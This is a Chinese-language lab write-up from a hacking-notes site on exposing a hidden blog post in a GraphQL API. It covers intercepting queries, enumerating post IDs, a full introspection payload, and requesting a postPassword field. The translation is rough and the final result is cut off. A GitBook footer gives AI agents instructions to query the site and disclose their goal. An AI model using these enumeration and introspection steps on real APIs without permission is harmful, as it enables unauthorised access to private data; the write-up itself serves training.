> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/graphql/accessing-private-graphql-posts.md).
# 访问私有 GraphQL 帖子
### 访问私有 GraphQL 帖子
#### 实验目标
博客页面包含一篇文章 **隐藏的** （未列出）包含一个 **机密密码**。要验证实验，你必须 **找到这篇私有帖子** 然后 **提交密码**.
### 1）GraphQL 流量侦察
在到达主博客页面时，后台会发送一个 GraphQL 请求（通过 **网络** 或 **Burp** 选项卡）：
* 端点： `POST /GraphQL/v1`
* 操作： `getBlogSummaries`
截获请求示例：
{% code overflow="wrap" expandable="true" %}
```graphql
{
"query": "/nquery getBlogSummaries {/n getAllBlogPosts {/n image/n title/n summary/n id/n }/n}",
"operationName": "getBlogSummaries"
}
```
{% endcode %}
该查询返回可见帖子及其 `id`。可以注意到，该列表包含页面/帖子 **1、2、4 和 5**，但 **未能列出 3** → 这是帖子 **私有/隐藏的极佳指示**.
#### 2）通过 ID 恢复帖子
打开一篇文章时，应用程序会发送另一个查询，从 ID 中检索完整内容：
```graphql
{
"query": "/n query getBlogPost($id: Int!) {/n getBlogPost(id: $id) {/n image/n title/n author/n date/n paragraphs/n }/n }",
"operationName": "getBlogPost",
"variables": {
"id": 2
}
}
```
这证实了我们可以 **枚举** 通过修改 `variables.id`.
#### 3）通过内省发现图表
为查看所有可用属性，我们使用**内省查询** （例如通过 **InQL**, **GraphQL 选项卡**，或使用标准载荷）：
```graphql
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}gra
```
答案： **200 OK**，非常大（超过 1000 行）。
分析揭示了一个有趣的字段： **`postPassword`**.
### （4）提取隐藏帖子（ID 3）
重启 `getBlogPost` 通过添加 `postPassword` 该字段，然后定位缺失的 ID（**3**):
```graphql
query getBlogPost($id: Int!) {
getBlogPost(id: $id) {
image
title
author
date
paragraphs
postPassword
}
}
```
变量：
```json
{
"id":3
}
```
结果：答案包含 **`postPassword`** → c
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/graphql/accessing-private-graphql-posts.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.